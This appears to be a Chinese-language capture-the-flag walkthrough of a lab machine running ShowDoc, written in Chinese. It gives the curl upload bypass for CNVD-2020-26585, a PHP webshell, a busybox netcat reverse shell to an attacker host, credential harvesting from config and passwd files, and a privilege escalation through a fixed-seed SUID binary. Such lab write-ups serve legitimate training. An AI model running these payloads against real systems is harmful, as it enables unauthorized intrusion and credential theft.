信息收集

IP=192.168.205.202
nmap -p0-65535 $IP

开了 22 和 80,Apache on Debian,SSH 允许密码登录。

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

直接上 Nuclei 扫一波。

nuclei -u http://$IP

几个关键命中:

[CNVD-2020-26585] [http] [critical] http://192.168.205.202/Public//Uploads//2026-06-04//6a21767742475.txt
[showdoc-panel] [http] [info] http://192.168.205.202/web/#/user/login
[dockerfile-hidden-disclosure] [http] [medium] http://192.168.205.202/Dockerfile

ShowDoc 文档管理系统,直接中奖。CNVD-2020-26585 是 ShowDoc 的前台未授权任意文件上传,Nuclei 已经验证成功并上传了一个 txt 文件。

初始突破

漏洞分析

翻了一下这个 CVE 对应的 GitHub PR(star7th/showdoc#1059),问题出在 PageController.class.php 第 150 行:

$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');

allowExts 不是 ThinkPHP Upload 类的合法属性,正确写法是 exts。属性名写错导致后缀限制完全失效,加上方法没调用 $this->checkLogin(),未登录就能传任意文件。

文件上传 GetShell

我一开始直接用 curl 传 php 文件,踩了几个坑。

先试了 /api/page/uploadImg 路径:

curl -v -F "editormd-image-file=@cmd.php;filename=shell.php;type=image/jpeg" "http://$IP/index.php?s=/api/page/uploadImg"

返回了数据库不可写的错误:

{"error_code":"10103","error_message":"Sqlite\/showdoc.db.php\u6587\u4ef6\u4e0d\u53ef\u5199"}

换成 /home/page/uploadImg,返回 200 但 Content-Length 为 0,一片空白。我当时有点懵,明明 Nuclei 能传上去。

回头看 Nuclei 的模板文件,发现关键细节——filename 里带了 <> 符号:filename="{{randstr}}.<>txt"。这个 <> 是绕过 ThinkPHP 过滤的技巧。照着模板格式构造:

curl -v -F 'editormd-image-file=@cmd.php;filename=cmd.<>php;type=text/plain' "http://$IP/index.php?s=/home/page/uploadImg"

这次成功了:

{"url":"http:\/\/192.168.205.202\/Public\/Uploads\/2026-06-04\/6a2178ebd3f08.php","success":1}

cmd.php 的内容是一个简单的 webshell:

GIF89a;
<?php 
if(isset($_GET['a']) && isset($_GET['b'])) {
    $a = $_GET['a'];
    $b = $_GET['b'];
    $a($b);
}
?>

反弹 shell

攻击机开监听:

nc -lvnp 8888

通过 webshell 触发反弹:

http://192.168.205.202/Public/Uploads/2026-06-04/6a2178ebd3f08.php?a=exec&b=busybox nc 192.168.205.128 8888 -e /bin/bash

收到 shell,升级交互式终端:

script /dev/null -c bash

当前身份是 www-data

横向移动

凭据收集

翻 ShowDoc 的配置文件:

cat /var/www/html/server/Application/Common/Conf/config.php | grep DB_PWD
'DB_PWD' => 'showdoc123456',

系统上有两个普通用户:

grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
mooi:x:1000:1000:,,,:/home/mooi:/bin/bash
l1qin9:x:1001:1001:,,,:/home/l1qin9:/bin/bash

www-data 到 mooi

密码复用,直接 su:

su mooi

密码 showdoc123456,成功切换。

mooi 到 l1qin9

同样密码复用:

su l1qin9

密码 showdoc123456,拿到 l1qin9 的 shell。两个用户都没有 sudo 权限。

提权

发现 SUID 程序

l1qin9 的 home 目录下有个不寻常的东西:

ls -la ~/auth_monitor
-rwsr-sr-x 1 root root 16632 Apr 25 22:43 auth_monitor

SUID + SGID,root 属主,自定义二进制。跑起来看看行为:

--- MAZE-SEC ACCESS MONITOR ---
SYSTEM_TICK: 1780578767
CHALLENGE_STAMP: f01957e7
ENTER ACCESS CODE:

要求输入一个 ACCESS CODE,输错就 ACCESS DENIED。输对了会以 root 身份读取 /root/show.txt

逆向分析

用 strings 看到几个关键字符串:/dev/urandomCHALLENGE_STAMPACCESS DENIED/root/show.txt,还有一个有意思的符号名 s0rand

拉回来丢进反编译器,main 函数逻辑很清晰:

// 从 /dev/urandom 读 4 字节作为 buf
read(fd, &buf, 4);

// 用 buf 和 argv[0] 第一个字符算一个种子 v13
for (i = 0; i <= 99; i++) {
    v13 += buf % (i + 1);
    v13 ^= **argv;
}

// 设置随机种子
s0rand(v13);
v10 = rand();

// 打印 CHALLENGE_STAMP(就是 buf 的十六进制)
printf("CHALLENGE_STAMP: %08x\n", buf);

// 要求输入,匹配则 setuid(0) 读 /root/show.txt
scanf("%d", &v7);
if (v10 == v7) {
    setuid(0); setgid(0);
    // 读取并打印 /root/show.txt
}

看上去需要根据 CHALLENGE_STAMP 推算出 rand() 的结果。种子计算还涉及 argv[0] 的第一个字符,有点麻烦。

但翻到 s0rand 的实现,整个人就笑了:

void s0rand() {
    srand(0x539);  // 1337
}

传入的参数完全被忽略,固定用 srand(1337)。也就是说不管 CHALLENGE_STAMP 是什么,rand() 的返回值永远是同一个数。

利用

一行搞定:

python3 -c "import ctypes;l=ctypes.CDLL('libc.so.6');l.srand(1337);print(l.rand())" | ./auth_monitor
--- MAZE-SEC ACCESS MONITOR ---
SYSTEM_TICK: 1780578767
CHALLENGE_STAMP: f01957e7
ENTER ACCESS CODE: 1NOjcN9b9uqUJ0VPYbgi

输出了 /root/show.txt 的内容,里面是 root 密码。直接 su:

su root

输入拿到的密码,切到 root。

Flag

cat /home/mooi/user.txt
cat /root/root.txt
flag{user-f5ce64ad520f46e2bcb1dc94dbb6dbd3}
flag{root-64f26bcf00751fcbe2d03d5a7d7c93ef}